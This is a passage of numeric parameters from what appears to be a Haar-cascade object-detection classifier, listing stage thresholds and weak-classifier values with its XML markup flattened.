+ + 1.1099940538406372e+00 -3.4849700331687927e-01 + <_> + + 0 -1 83 -6.8157002329826355e-02 + + -3.3269989490509033e+00 2.1299000084400177e-01 + <_> + 52 + -4.3864588737487793e+00 + + <_> + + 0 -1 84 3.9974000304937363e-02 + + -1.2173449993133545e+00 1.0826710462570190e+00 + <_> + + 0 -1 85 1.8819500505924225e-01 + + -4.8289400339126587e-01 1.4045250415802002e+00 + <_> + + 0 -1 86 7.8027002513408661e-02 + + -1.0782150030136108e+00 7.4040299654006958e-01 + <_> + + 0 -1 87 1.1899999663000926e-04 + + -1.2019979953765869e+00 3.7749201059341431e-01 + <_> + + 0 -1 88 8.5056997835636139e-02 + + -4.3939098715782166e-01 1.2647340297698975e+00 + <_> + + 0 -1 89 8.9720003306865692e-03 + + -1.8440499901771545e-01 4.5726400613784790e-01 + <_> + + 0 -1 90 8.8120000436902046e-03 + + 3.0396699905395508e-01 -9.5991098880767822e-01 + <_> + + 0 -1 91 -2.3507999256253242e-02 + + 1.2487529516220093e+00 4.6227999031543732e-02 + <_> + + 0 -1 92 7.0039997808635235e-03 + + -5.9442102909088135e-01 5.3963297605514526e-01 + <_> + + 0 -1 93 3.3851999789476395e-02 + + 2.8496098518371582e-01 -1.4895249605178833e+00 + <_> + + 0 -1 94 -3.2530000898987055e-03 + + 4.8120799660682678e-01 -5.2712398767471313e-01 + <_> + + 0 -1 95 2.9097000136971474e-02 + + 2.6743900775909424e-01 -1.6007850170135498e+00 + <_> + + 0 -1 96 -8.4790000692009926e-03 + + -1.3107639551162720e+00 1.5243099629878998e-01 + <_> + + 0 -1 97 -1.0795000009238720e-02 + + 4.5613598823547363e-01 -7.2050899267196655e-01 + <_> + + 0 -1 98 -2.4620000272989273e-02 + + -1.7320619821548462e+00 6.8363003432750702e-02 + <_> + + 0 -1 99 3.7380000576376915e-03 + + -1.9303299486637115e-01 6.8243497610092163e-01 + <_> + + 0 -1 100 -1.2264000251889229e-02 + + -1.6095290184020996e+00 7.5268000364303589e-02 + <_> + + 0 -1 101 -4.8670000396668911e-03 + + 7.4286502599716187e-01 -2.1510200202465057e-01 + <_> + + 0 -1 102 7.6725997030735016e-02 + + -2.6835098862648010e-01 1.3094140291213989e+00 + <_> + + 0 -1 103 2.8578000143170357e-02 + + -5.8793000876903534e-02 1.2196329832077026e+00 + <_> + + 0 -1 104 1.9694000482559204e-02 + + -3.5142898559570312e-01 8.4926998615264893e-01 + <_> + + 0 -1 105 -2.9093999415636063e-02 + + -1.0507299900054932e+00 2.9806300997734070e-01 + <_> + + 0 -1 106 -2.9144000262022018e-02 + + 8.2547801733016968e-01 -3.2687199115753174e-01 + <_> + + 0 -1 107 1.9741000607609749e-02 + + 2.0452600717544556e-01 -8.3760201930999756e-01 + <_> + + 0 -1 108 4.3299999088048935e-03 + + 2.0577900111675262e-01 -6.6829800605773926e-01 + <_> + + 0 -1 109 -3.5500999540090561e-02 + + -1.2969900369644165e+00 1.3897499442100525e-01 + <_> + + 0 -1 110 -1.6172999516129494e-02 + + -1.3110569715499878e+00 7.5751997530460358e-02 + <_> + + 0 -1 111 -2.2151000797748566e-02 + + -1.0524389743804932e+00 1.9241100549697876e-01 + <_> + + 0 -1 112 -2.2707000374794006e-02 + + -1.3735309839248657e+00 6.6780999302864075e-02 + <_> + + 0 -1 113 1.6607999801635742e-02 + + -3.7135999649763107e-02 7.7846401929855347e-01 + <_> + + 0 -1 114 -1.3309000059962273e-02 + + -9.9850702285766602e-01 1.2248100340366364e-01 + <_> + + 0 -1 115 -3.3732000738382339e-02 + + 1.4461359977722168e+00 1.3151999562978745e-02 + <_> + + 0 -1 116 1.6935000196099281e-02 + + -3.7121298909187317e-01 5.2842199802398682e-01 + <_> + + 0 -1 117 3.3259999472647905e-03 + + -5.7568502426147461e-01 3.9261901378631592e-01 + <_> + + 0 -1 118 8.3644002676010132e-02 + + 1.6116000711917877e-02 -2.1173279285430908e+00 + <_> + + 0 -1 119 2.5785198807716370e-01 + + -8.1609003245830536e-02 9.8782497644424438e-01 + <_> + + 0 -1 120 -3.6566998809576035e-02 + + -1.1512110233306885e+00 9.6459001302719116e-02 + <_> + + 0 -1 121 -1.6445999965071678e-02 + + 3.7315499782562256e-01 -1.4585399627685547e-01 + <_> + + 0 -1 122 -3.7519999314099550e-03 + + 2.6179298758506775e-01 -5.8156698942184448e-01 + <_> + + 0 -1 123 -6.3660000450909138e-03 + + 7.5477397441864014e-01 -1.7055200040340424e-01 + <_> + + 0 -1 124 -3.8499999791383743e-03 + + 2.2653999924659729e-01 -6.3876402378082275e-01 + <_> + + 0 -1 125 -4.5494001358747482e-02 + + -1.2640299797058105e+00 2.5260698795318604e-01 + <_> + + 0 -1 126 -2.3941000923514366e-02 + + 8.7068402767181396e-01 -2.7104699611663818e-01 + <_> + + 0 -1 127 -7.7558003365993500e-02 + + -1.3901610374450684e+00 2.3612299561500549e-01 + <_> + + 0 -1 128 2.3614000529050827e-02 + + 6.6140003502368927e-02 -1.2645419836044312e+00 + <_> + + 0 -1 129 -2.5750000495463610e-03 + + -5.3841698169708252e-01 3.0379098653793335e-01 + <_> + + 0 -1 130 1.2010800093412399e-01 + + -3.5343000292778015e-01 5.2866202592849731e-01 + <_> + + 0 -1 131 2.2899999748915434e-03 + + -5.8701997995376587e-01 2.4061000347137451e-01 + <_> + + 0 -1 132 6.9716997444629669e-02 + + -3.3348900079727173e-01 5.1916301250457764e-01 + <_> + + 0 -1 133 -4.6670001000165939e-02 + + 6.9795399904251099e-01 -1.4895999804139137e-02 + <_> + + 0 -1 134 -5.0129000097513199e-02 + + 8.6146199703216553e-01 -2.5986000895500183e-01 + <_> + + 0 -1 135 3.0147999525070190e-02 + + 1.9332799315452576e-01 -5.9131097793579102e-01 + <_> + 53 + -4.1299300193786621e+00 + + <_> + + 0 -1 136 9.1085001826286316e-02 + + -8.9233100414276123e-01 1.0434230566024780e+00 + <_> + + 0 -1 137 1.2818999588489532e-02 + + -1.2597670555114746e+00 5.5317097902297974e-01 + <_> + + 0 -1 138 1.5931999310851097e-02 + + -8.6254400014877319e-01 6.3731801509857178e-01 + <_> + + 0 -1 139 2.2780001163482666e-03 + + -7.4639201164245605e-01 5.3155601024627686e-01 + <_> + + 0 -1 140 3.1840998679399490e-02 + + -1.2650489807128906e+00 3.6153900623321533e-01 + <_> + + 0 -1 141 2.6960000395774841e-03 + + -9.8290401697158813e-01 3.6013001203536987e-01 + <_> + + 0 -1 142 -1.2055000290274620e-02 + + 6.4068400859832764e-01 -5.0125002861022949e-01 + <_> + + 0 -1 143 2.1324999630451202e-02 + + -2.4034999310970306e-01 8.5448002815246582e-01 + <_> + + 0 -1 144 3.0486000701785088e-02 + + -3.4273600578308105e-01 1.1428849697113037e+00 + <_> + + 0 -1 145 -4.5079998672008514e-02 + + 1.0976949930191040e+00 -1.7974600195884705e-01 + <_> + + 0 -1 146 -7.1700997650623322e-02 + + 1.5735000371932983e+00 -3.1433498859405518e-01 + <_> + + 0 -1 147 5.9218000620603561e-02 + + -2.7582401037216187e-01 1.0448570251464844e+00 + <_> + + 0 -1 148 6.7010000348091125e-03 + + -1.0974019765853882e+00 1.9801199436187744e-01 + <_> + + 0 -1 149 4.1046999394893646e-02 + + 3.0547699332237244e-01 -1.3287999629974365e+00 + <_> + + 0 -1 150 -8.5499999113380909e-04 + + 2.5807100534439087e-01 -7.0052897930145264e-01 + <_> + + 0 -1 151 -3.0360000208020210e-02 + + -1.2306419610977173e+00 2.2609399259090424e-01 + <_> + + 0 -1 152 -1.2930000200867653e-02 + + 4.0758600831031799e-01 -5.1234501600265503e-01 + <_> + + 0 -1 153 3.7367999553680420e-02 + + -9.4755001366138458e-02 6.1765098571777344e-01 + <_> + + 0 -1 154 2.4434000253677368e-02 + + -4.1100600361824036e-01 4.7630500793457031e-01 + <_> + + 0 -1 155 5.7007998228073120e-02 + + 2.5249299407005310e-01 -6.8669801950454712e-01 + <_> + + 0 -1 156 -1.6313999891281128e-02 + + -9.3928402662277222e-01 1.1448100209236145e-01 + <_> + + 0 -1 157 -1.7648899555206299e-01 + + 1.2451089620590210e+00 -5.6519001722335815e-02 + <_> + + 0 -1 158 1.7614600062370300e-01 + + -3.2528200745582581e-01 8.2791501283645630e-01 + <_> + + 0 -1 159 -7.3910001665353775e-03 + + 3.4783700108528137e-01 -1.7929099500179291e-01 + <_> + + 0 -1 160 6.0890998691320419e-02 + + 5.5098000913858414e-02 -1.5480779409408569e+00 + <_> + + 0 -1 161 -2.9123000800609589e-02 + + -1.0255639553070068e+00 2.4106900393962860e-01 + <_> + + 0 -1 162 -4.5648999512195587e-02 + + 1.0301599502563477e+00 -3.1672099232673645e-01 + <_> + + 0 -1 163 3.7333000451326370e-02 + + 2.1620599925518036e-01 -8.2589900493621826e-01 + <_> + + 0 -1 164 -2.4411000311374664e-02 + + -1.5957959890365601e+00 5.1139000803232193e-02 + <_> + + 0 -1 165 -5.9806998819112778e-02 + + -1.0312290191650391e+00 1.3092300295829773e-01 + <_> + + 0 -1 166 -3.0106000602245331e-02 + + -1.4781630039215088e+00 3.7211999297142029e-02 + <_> + + 0 -1 167 7.4209999293088913e-03 + + -2.4024100601673126e-01 4.9333998560905457e-01 + <_> + + 0 -1 168 -2.1909999195486307e-03 + + 2.8941500186920166e-01 -5.7259601354598999e-01 + <_> + + 0 -1 169 2.0860999822616577e-02 + + -2.3148399591445923e-01 6.3765901327133179e-01 + <_> + + 0 -1 170 -6.6990000195801258e-03 + + -1.2107750177383423e+00 6.4018003642559052e-02 + <_> + + 0 -1 171 1.8758000805974007e-02 + + 2.4461300671100616e-01 -9.9786698818206787e-01 + <_> + + 0 -1 172 -4.4323001056909561e-02 + + -1.3699189424514771e+00 3.6051999777555466e-02 + <_> + + 0 -1 173 2.2859999909996986e-02 + + 2.1288399398326874e-01 -1.0397620201110840e+00 + <_> + + 0 -1 174 -9.8600005730986595e-04 + + 3.2443600893020630e-01 -5.4291802644729614e-01 + <_> + + 0 -1 175 1.7239000648260117e-02 + + -2.8323900699615479e-01 4.4468200206756592e-01 + <_> + + 0 -1 176 -3.4531001001596451e-02 + + -2.3107020854949951e+00 -3.1399999279528856e-03 + <_> + + 0 -1 177 6.7006997764110565e-02 + + 2.8715699911117554e-01 -6.4481002092361450e-01 + <_> + + 0 -1 178 2.3776899278163910e-01 + + -2.7174800634384155e-01 8.0219101905822754e-01 + <_> + + 0 -1 179 -1.2903000228106976e-02 + + -1.5317620038986206e+00 2.1423600614070892e-01 + <_> + + 0 -1 180 1.0514999739825726e-02 + + 7.7037997543811798e-02 -1.0581140518188477e+00 + <_> + + 0 -1 181 1.6969000920653343e-02 + + 1.4306700229644775e-01 -8.5828399658203125e-01 + <_> + + 0 -1 182 -7.2460002265870571e-03 + + -1.1020129919052124e+00 6.4906999468803406e-02 + <_> + + 0 -1 183 1.0556999593973160e-02 + + 1.3964000158011913e-02 6.3601499795913696e-01 + <_> + + 0 -1 184 6.1380001716315746e-03 + + -3.4545901417732239e-01 5.6296801567077637e-01 + <_> + + 0 -1 185 1.3158000074326992e-02 + + 1.9927300512790680e-01 -1.5040320158004761e+00 + <_> + + 0 -1 186 3.1310000922530890e-03 + + -4.0903699398040771e-01 3.7796398997306824e-01 + <_> + + 0 -1 187 -1.0920699685811996e-01 + + -2.2227079868316650e+00 1.2178199738264084e-01 + <_> + + 0 -1 188 8.1820003688335419e-03 + + -2.8652000427246094e-01 6.7890799045562744e-01 + <_> + 62 + -4.0218091011047363e+00 + + <_> + + 0 -1 189 3.1346999108791351e-02 + + -8.8884598016738892e-01 9.4936800003051758e-01 + <_> + + 0 -1 190 3.1918000429868698e-02 + + -1.1146880388259888e+00 4.8888999223709106e-01 + <_> + + 0 -1 191 6.5939999185502529e-03 + + -1.0097689628601074e+00 4.9723801016807556e-01 + <_> + + 0 -1 192 2.6148000732064247e-02 + + 2.5991299748420715e-01 -1.2537480592727661e+00 + <_> + + 0 -1 193 1.2845000252127647e-02 + + -5.7138597965240479e-01 5.9659498929977417e-01 + <_> + + 0 -1 194 2.6344999670982361e-02 + + -5.5203199386596680e-01 3.0217400193214417e-01 + <_> + + 0 -1 195 -1.5083000063896179e-02 + + -1.2871240377426147e+00 2.2354200482368469e-01 + <_> + + 0 -1 196 -3.8887001574039459e-02 + + 1.7425049543380737e+00 -9.9747002124786377e-02 + <_> + + 0 -1 197 -5.7029998861253262e-03 + + -1.0523240566253662e+00 1.8362599611282349e-01 + <_> + + 0 -1 198 -1.4860000228509307e-03 + + 5.6784200668334961e-01 -4.6742001175880432e-01 + <_> + + 0 -1 199 -2.8486000373959541e-02 + + 1.3082909584045410e+00 -2.6460900902748108e-01 + <_> + + 0 -1 200 6.6224999725818634e-02 + + -4.6210700273513794e-01 4.1749599575996399e-01 + <_> + + 0 -1 201 8.8569996878504753e-03 + + -4.1474899649620056e-01 5.9204798936843872e-01 + <_> + + 0 -1 202 1.1355999857187271e-02 + + 3.6103099584579468e-01 -4.5781201124191284e-01 + <_> + + 0 -1 203 -2.7679998893290758e-03 + + -8.9238899946212769e-01 1.4199000597000122e-01 + <_> + + 0 -1 204 1.1246999725699425e-02 + + 2.9353401064872742e-01 -9.7330600023269653e-01 + <_> + + 0 -1 205 7.1970000863075256e-03 + + -7.9334902763366699e-01 1.8313400447368622e-01 + <_> + + 0 -1 206 3.1768999993801117e-02 + + 1.5523099899291992e-01 -1.3245639801025391e+00 + <_> + + 0 -1 207 2.5173999369144440e-02 + + 3.4214999526739120e-02 -2.0948131084442139e+00 + <_> + + 0 -1 208 7.5360001064836979e-03 + + -3.9450600743293762e-01 5.1333999633789062e-01 + <_> + + 0 -1 209 3.2873000949621201e-02 + + 8.8372997939586639e-02 -1.2814120054244995e+00 + <_> + + 0 -1 210 -2.7379998937249184e-03 + + 5.5286502838134766e-01 -4.6384999155998230e-01 + <_> + + 0 -1 211 -3.8075000047683716e-02 + + -1.8497270345687866e+00 4.5944001525640488e-02 + <_> + + 0 -1 212 -3.8984000682830811e-02 + + -4.8223701119422913e-01 3.4760600328445435e-01 + <_> + + 0 -1 213 2.8029999230057001e-03 + + -4.5154699683189392e-01 4.2806300520896912e-01 + <_> + + 0 -1 214 -5.4145999252796173e-02 + + -8.4520798921585083e-01 1.6674900054931641e-01 + <_> + + 0 -1 215 -8.3280000835657120e-03 + + 3.5348299145698547e-01 -4.7163200378417969e-01 + <_> + + 0 -1 216 3.3778000622987747e-02 + + 1.8463100492954254e-01 -1.6686669588088989e+00 + <_> + + 0 -1 217 -1.1238099634647369e-01 + + -1.2521569728851318e+00 3.5992000252008438e-02 + <_> + + 0 -1 218 -1.0408000089228153e-02 + + -8.1620401144027710e-01 2.3428599536418915e-01 + <_> + + 0 -1 219 -4.9439999274909496e-03 + + -9.2584699392318726e-01 1.0034800320863724e-01 + <_> + + 0 -1 220 -9.3029998242855072e-03 + + 5.6499302387237549e-01 -1.8881900608539581e-01 + <_> + + 0 -1 221 -1.1749999597668648e-02 + + 8.0302399396896362e-01 -3.8277000188827515e-01 + <_> + + 0 -1 222 -2.3217000067234039e-02 + + -8.4926998615264893e-01 1.9671200215816498e-01 + <_> + + 0 -1 223 1.6866000369191170e-02 + + -4.0591898560523987e-01 5.0695300102233887e-01 + <_> + + 0 -1 224 -2.4031000211834908e-02 + + -1.5297520160675049e+00 2.3344999551773071e-01 + <_> + + 0 -1 225 -3.6945998668670654e-02 + + 6.3007700443267822e-01 -3.1780400872230530e-01 + <_> + + 0 -1 226 -6.1563998460769653e-02 + + 5.8627897500991821e-01 -1.2107999995350838e-02 + <_> + + 0 -1 227 2.1661000326275826e-02 + + -2.5623700022697449e-01 1.0409849882125854e+00 + <_> + + 0 -1 228 -3.6710000131279230e-03 + + 2.9171100258827209e-01 -8.3287298679351807e-01 + <_> + + 0 -1 229 4.4849000871181488e-02 + + -3.9633199572563171e-01 4.5662000775337219e-01 + <_> + + 0 -1 230 5.7195000350475311e-02 + + 2.1023899316787720e-01 -1.5004800558090210e+00 + <_> + + 0 -1 231 -1.1342000216245651e-02 + + 4.4071298837661743e-01 -3.8653799891471863e-01 + <_> + + 0 -1 232 -1.2004000134766102e-02 + + 9.3954598903656006e-01 -1.0589499771595001e-01 + <_> + + 0 -1 233 2.2515999153256416e-02 + + 9.4480002298951149e-03 -1.6799509525299072e+00 + <_> + + 0 -1 234 -1.9809000194072723e-02 + + -1.0133639574050903e+00 2.4146600067615509e-01 + <_> + + 0 -1 235 1.5891000628471375e-02 + + -3.7507599592208862e-01 4.6614098548889160e-01 + <_> + + 0 -1 236 -9.1420002281665802e-03 + + -8.0484098196029663e-01 1.7816999554634094e-01 + <_> + + 0 -1 237 -4.4740000739693642e-03 + + -1.0562069416046143e+00 7.3305003345012665e-02 + <_> + + 0 -1 238 1.2742500007152557e-01 + + 2.0165599882602692e-01 -1.5467929840087891e+00 + <_> + + 0 -1 239 4.7703001648187637e-02 + + -3.7937799096107483e-01 3.7885999679565430e-01 + <_> + + 0 -1 240 5.3608000278472900e-02 + + 2.1220499277114868e-01 -1.2399710416793823e+00 + <_> + + 0 -1 241 -3.9680998772382736e-02 + + -1.0257550477981567e+00 5.1282998174428940e-02 + <_> + + 0 -1 242 -6.7327000200748444e-02 + + -1.0304750204086304e+00 2.3005299270153046e-01 + <_> + + 0 -1 243 1.3337600231170654e-01 + + -2.0869000256061554e-01 1.2272510528564453e+00 + <_> + + 0 -1 244 -2.0919300615787506e-01 + + 8.7929898500442505e-01 -4.4254999607801437e-02 + <_> + + 0 -1 245 -6.5589003264904022e-02 + + 1.0443429946899414e+00 -2.1682099997997284e-01 + <_> + + 0 -1 246 6.1882998794317245e-02 + + 1.3798199594020844e-01 -1.9009059667587280e+00 + <_> + + 0 -1 247 -2.5578999891877174e-02 + + -1.6607600450515747e+00 5.8439997956156731e-03 + <_> + + 0 -1 248 -3.4827001392841339e-02 + + 7.9940402507781982e-01 -8.2406997680664062e-02 + <_> + + 0 -1 249 -1.8209999427199364e-02 + + -9.6073997020721436e-01 6.6320002079010010e-02 + <_> + + 0 -1 250 1.5070999972522259e-02 + + 1.9899399578571320e-01 -7.6433002948760986e-01 + <_> + 72 + -3.8832089900970459e+00 + + <_> + + 0 -1 251 4.6324998140335083e-02 + + -1.0362670421600342e+00 8.2201498746871948e-01 + <_> + + 0 -1 252 1.5406999737024307e-02 + + -1.2327589988708496e+00 2.9647698998451233e-01 + <_> + + 0 -1 253 1.2808999978005886e-02 + + -7.5852298736572266e-01 5.7985502481460571e-01 + <_> + + 0 -1 254 4.9150999635457993e-02 + + -3.8983899354934692e-01 8.9680302143096924e-01 + <_> + + 0 -1 255 1.2621000409126282e-02 + + -7.1799302101135254e-01 5.0440901517868042e-01 + <_> + + 0 -1 256 -1.8768999725580215e-02 + + 5.5147600173950195e-01 -7.0555400848388672e-01 + <_> + + 0 -1 257 4.1965000331401825e-02 + + -4.4782099127769470e-01 7.0985502004623413e-01 + <_> + + 0 -1 258 -5.1401998847723007e-02 + + -1.0932120084762573e+00 2.6701900362968445e-01 + <_> + + 0 -1 259 -7.0960998535156250e-02 + + 8.3618402481079102e-01 -3.8318100571632385e-01 + <_> + + 0 -1 260 1.6745999455451965e-02 + + -2.5733101367950439e-01 2.5966501235961914e-01 + <_> + + 0 -1 261 -6.2400000169873238e-03 + + 3.1631499528884888e-01 -5.8796900510787964e-01 + <_> + + 0 -1 262 -3.9397999644279480e-02 + + -1.0491210222244263e+00 1.6822400689125061e-01 + <_> + + 0 -1 263 0. + + 1.6144199669361115e-01 -8.7876898050308228e-01 + <_> + + 0 -1 264 -2.2307999432086945e-02 + + -6.9053500890731812e-01 2.3607000708580017e-01 + <_> + + 0 -1 265 1.8919999711215496e-03 + + 2.4989199638366699e-01 -5.6583297252655029e-01 + <_> + + 0 -1 266 1.0730000212788582e-03 + + -5.0415802001953125e-01 3.8374501466751099e-01 + <_> + + 0 -1 267 3.9230998605489731e-02 + + 4.2619001120328903e-02 -1.3875889778137207e+00 + <_> + + 0 -1 268 6.2238000333309174e-02 + + 1.4119400084018707e-01 -1.0688860416412354e+00 + <_> + + 0 -1 269 2.1399999968707561e-03 + + -8.9622402191162109e-01 1.9796399772167206e-01 + <_> + + 0 -1 270 9.1800000518560410e-04 + + -4.5337298512458801e-01 4.3532699346542358e-01 + <_> + + 0 -1 271 -6.9169998168945312e-03 + + 3.3822798728942871e-01 -4.4793000817298889e-01 + <_> + + 0 -1 272 -2.3866999894380569e-02 + + -7.8908598423004150e-01 2.2511799633502960e-01 + <_> + + 0 -1 273 -1.0262800008058548e-01 + + -2.2831439971923828e+00 -5.3960001096129417e-03 + <_> + + 0 -1 274 -9.5239998772740364e-03 + + 3.9346700906753540e-01 -5.2242201566696167e-01 + <_> + + 0 -1 275 3.9877001196146011e-02 + + 3.2799001783132553e-02 -1.5079489946365356e+00 + <_> + + 0 -1 276 -1.3144999742507935e-02 + + -1.0839990377426147e+00 1.8482400476932526e-01 + <_> + + 0 -1 277 -5.0590999424457550e-02 + + -1.8822289705276489e+00 -2.2199999075382948e-03 + <_> + + 0 -1 278 2.4917000904679298e-02 + + 1.4593400061130524e-01 -2.2196519374847412e+00 + <_> + + 0 -1 279 -7.6370001770555973e-03 + + -1.0164569616317749e+00 5.8797001838684082e-02 + <_> + + 0 -1 280 4.2911998927593231e-02 + + 1.5443000197410583e-01 -1.1843889951705933e+00 + <_> + + 0 -1 281 2.3000000510364771e-04 + + -7.7305799722671509e-01 1.2189900130033493e-01 + <_> + + 0 -1 282 9.0929996222257614e-03 + + -1.1450099945068359e-01 7.1091300249099731e-01 + <_> + + 0 -1 283 1.1145000346004963e-02 + + 7.0000998675823212e-02 -1.0534820556640625e+00 + <_> + + 0 -1 284 -5.2453000098466873e-02 + + -1.7594360113143921e+00 1.9523799419403076e-01 + <_> + + 0 -1 285 -2.3020699620246887e-01 + + 9.5840299129486084e-01 -2.5045698881149292e-01 + <_> + + 0 -1 286 -1.6365999355912209e-02 + + 4.6731901168823242e-01 -2.1108399331569672e-01 + <_> + + 0 -1 287 -1.7208000645041466e-02 + + 7.0835697650909424e-01 -2.8018298745155334e-01 + <_> + + 0 -1 288 -3.6648001521825790e-02 + + -1.1013339757919312e+00 2.4341100454330444e-01 + <_> + + 0 -1 289 -1.0304999537765980e-02 + + -1.0933129787445068e+00 5.6258998811244965e-02 + <_> + + 0 -1 290 -1.3713000342249870e-02 + + -2.6438099145889282e-01 1.9821000099182129e-01 + <_> + + 0 -1 291 2.9308000579476357e-02 + + -2.2142399847507477e-01 1.0525950193405151e+00 + <_> + + 0 -1 292 2.4077000096440315e-02 + + 1.8485699594020844e-01 -1.7203969955444336e+00 + <_> + + 0 -1 293 6.1280000954866409e-03 + + -9.2721498012542725e-01 5.8752998709678650e-02 + <_> + + 0 -1 294 -2.2377999499440193e-02 + + 1.9646559953689575e+00 2.7785999700427055e-02 + <_> + + 0 -1 295 -7.0440000854432583e-03 + + 2.1427600085735321e-01 -4.8407599329948425e-01 + <_> + + 0 -1 296 -4.0603000670671463e-02 + + -1.1754349470138550e+00 1.6061200201511383e-01 + <_> + + 0 -1 297 -2.4466000497341156e-02 + + -1.1239900588989258e+00 4.1110001504421234e-02 + <_> + + 0 -1 298 2.5309999473392963e-03 + + -1.7169700562953949e-01 3.2178801298141479e-01 + <_> + + 0 -1 299 -1.9588999450206757e-02 + + 8.2720202207565308e-01 -2.6376700401306152e-01 + <_> + + 0 -1 300 -2.9635999351739883e-02 + + -1.1524770259857178e+00 1.4999300241470337e-01 + <_> + + 0 -1 301 -1.5030000358819962e-02 + + -1.0491830110549927e+00 4.0160998702049255e-02 + <_> + + 0 -1 302 -6.0715001076459885e-02 + + -1.0903840065002441e+00 1.5330800414085388e-01 + <_> + + 0 -1 303 -1.2790000066161156e-02 + + 4.2248600721359253e-01 -4.2399200797080994e-01 + <_> + + 0 -1 304 -2.0247999578714371e-02 + + -9.1866999864578247e-01 1.8485699594020844e-01 + <_> + + 0 -1 305 -3.0683999881148338e-02 + + -1.5958670377731323e+00 2.5760000571608543e-03 + <_> + + 0 -1 306 -2.0718000829219818e-02 + + -6.6299998760223389e-01 3.1037199497222900e-01 + <_> + + 0 -1 307 -1.7290000105276704e-03 + + 1.9183400273323059e-01 -6.5084999799728394e-01 + <_> + + 0 -1 308 -3.1394001096487045e-02 + + -6.3643002510070801e-01 1.5408399701118469e-01 + <_> + + 0 -1 309 1.9003000110387802e-02 + + -1.8919399380683899e-01 1.5294510126113892e+00 + <_> + + 0 -1 310 6.1769997701048851e-03 + + -1.0597900301218033e-01 6.4859598875045776e-01 + <_> + + 0 -1 311 -1.0165999643504620e-02 + + -1.0802700519561768e+00 3.7176001816987991e-02 + <_> + + 0 -1 312 -1.4169999631121755e-03 + + 3.4157499670982361e-01 -9.7737997770309448e-02 + <_> + + 0 -1 313 -4.0799998678267002e-03 + + 4.7624599933624268e-01 -3.4366300702095032e-01 + <_> + + 0 -1 314 -4.4096998870372772e-02 + + 9.7634297609329224e-01 -1.9173000007867813e-02 + <_> + + 0 -1 315 -6.0669999569654465e-02 + + -2.1752851009368896e+00 -2.8925999999046326e-02 + <_> + + 0 -1 316 -3.2931998372077942e-02 + + -6.4383101463317871e-01 1.6494099795818329e-01 + <_> + + 0 -1 317 -1.4722800254821777e-01 + + -1.4745830297470093e+00 2.5839998852461576e-03 + <_> + + 0 -1 318 -1.1930000036954880e-02 + + 4.2441400885581970e-01 -1.7712600529193878e-01 + <_> + + 0 -1 319 1.4517900347709656e-01 + + 2.5444999337196350e-02 -1.2779400348663330e+00 + <_> + + 0 -1 320 5.1447998732328415e-02 + + 1.5678399801254272e-01 -1.5188430547714233e+00 + <_> + + 0 -1 321 3.1479999888688326e-03 + + -4.0424400568008423e-01 3.2429701089859009e-01 + <_> + + 0 -1 322 -4.3600000441074371e-02 + + -1.9932260513305664e+00 1.5018600225448608e-01 + <_> + 83 + -3.8424909114837646e+00 + + <_> + + 0 -1 323 1.2899599969387054e-01 + + -6.2161999940872192e-01 1.1116520166397095e+00 + <_> + + 0 -1 324 -9.1261997818946838e-02 + + 1.0143059492111206e+00 -6.1335200071334839e-01 + <_> + + 0 -1 325 1.4271999709308147e-02 + + -1.0261659622192383e+00 3.9779999852180481e-01 + <_> + + 0 -1 326 3.2889999449253082e-02 + + -1.1386079788208008e+00 2.8690800070762634e-01 + <_> + + 0 -1 327 1.2590000405907631e-02 + + -5.6645601987838745e-01 4.5172399282455444e-01 + <_> + + 0 -1 328 1.4661000110208988e-02 + + 3.0505999922752380e-01 -6.8129599094390869e-01 + <_> + + 0 -1 329 -3.3555999398231506e-02 + + -1.7208939790725708e+00 6.1439000070095062e-02 + <_> + + 0 -1 330 1.4252699911594391e-01 + + 2.3192200064659119e-01 -1.7297149896621704e+00 + <_> + + 0 -1 331 -6.2079997733235359e-03 + + -1.2163300514221191e+00 1.2160199880599976e-01 + <_> + + 0 -1 332 1.8178999423980713e-02 + + 3.2553699612617493e-01 -8.1003999710083008e-01 + <_> + + 0 -1 333 2.5036999955773354e-02 + + -3.1698799133300781e-01 6.7361402511596680e-01 + <_> + + 0 -1 334 4.6560999006032944e-02 + + -1.1089800298213959e-01 8.4082502126693726e-01 + <_> + + 0 -1 335 -8.9999996125698090e-03 + + 3.9574500918388367e-01 -4.7624599933624268e-01 + <_> + + 0 -1 336 4.0805999189615250e-02 + + -1.8000000272877514e-04 9.4570702314376831e-01 + <_> + + 0 -1 337 -3.4221999347209930e-02 + + 7.5206297636032104e-01 -3.1531500816345215e-01 + <_> + + 0 -1 338 -3.9716001600027084e-02 + + -8.3139598369598389e-01 1.7744399607181549e-01 + <_> + + 0 -1 339 2.5170000735670328e-03 + + -5.9377998113632202e-01 2.4657000601291656e-01 + <_> + + 0 -1 340 2.7428999543190002e-02 + + 1.5998399257659912e-01 -4.2781999707221985e-01 + <_> + + 0 -1 341 3.4986000508069992e-02 + + 3.5055998712778091e-02 -1.5988600254058838e+00 + <_> + + 0 -1 342 4.4970000162720680e-03 + + -5.2034300565719604e-01 3.7828299403190613e-01 + <_> + + 0 -1 343 2.7699999045580626e-03 + + -5.3182601928710938e-01 2.4951000511646271e-01 + <_> + + 0 -1 344 3.5174001008272171e-02 + + 1.9983400404453278e-01 -1.4446129798889160e+00 + <_> + + 0 -1 345 2.5970999151468277e-02 + + 4.4426999986171722e-02 -1.3622980117797852e+00 + <_> + + 0 -1 346 -1.5783999115228653e-02 + + -9.1020399332046509e-01 2.7190300822257996e-01 + <_> + + 0 -1 347 -7.5880000367760658e-03 + + 9.2064999043941498e-02 -8.1628900766372681e-01 + <_> + + 0 -1 348 2.0754000172019005e-02 + + 2.1185700595378876e-01 -7.4729001522064209e-01 + <_> + + 0 -1 349 5.9829000383615494e-02 + + -2.7301099896430969e-01 8.0923300981521606e-01 + <_> + + 0 -1 350 3.9039000868797302e-02 + + -1.0432299971580505e-01 8.6226201057434082e-01 + <_> + + 0 -1 351 2.1665999665856361e-02 + + 6.2709003686904907e-02 -9.8894298076629639e-01 + <_> + + 0 -1 352 -2.7496999129652977e-02 + + -9.2690998315811157e-01 1.5586300194263458e-01 + <_> + + 0 -1 353 1.0462000034749508e-02 + + 1.3418099284172058e-01 -7.0386397838592529e-01 + <_> + + 0 -1 354 2.4870999157428741e-02 + + 1.9706700742244720e-01 -4.0263301134109497e-01 + <_> + + 0 -1 355 -1.6036000102758408e-02 + + -1.1409829854965210e+00 7.3997996747493744e-02 + <_> + + 0 -1 356 4.8627000302076340e-02 + + 1.6990399360656738e-01 -7.2152197360992432e-01 + <_> + + 0 -1 357 1.2619999470189214e-03 + + -4.7389799356460571e-01 2.6254999637603760e-01 + <_> + + 0 -1 358 -8.8035002350807190e-02 + + -2.1606519222259521e+00 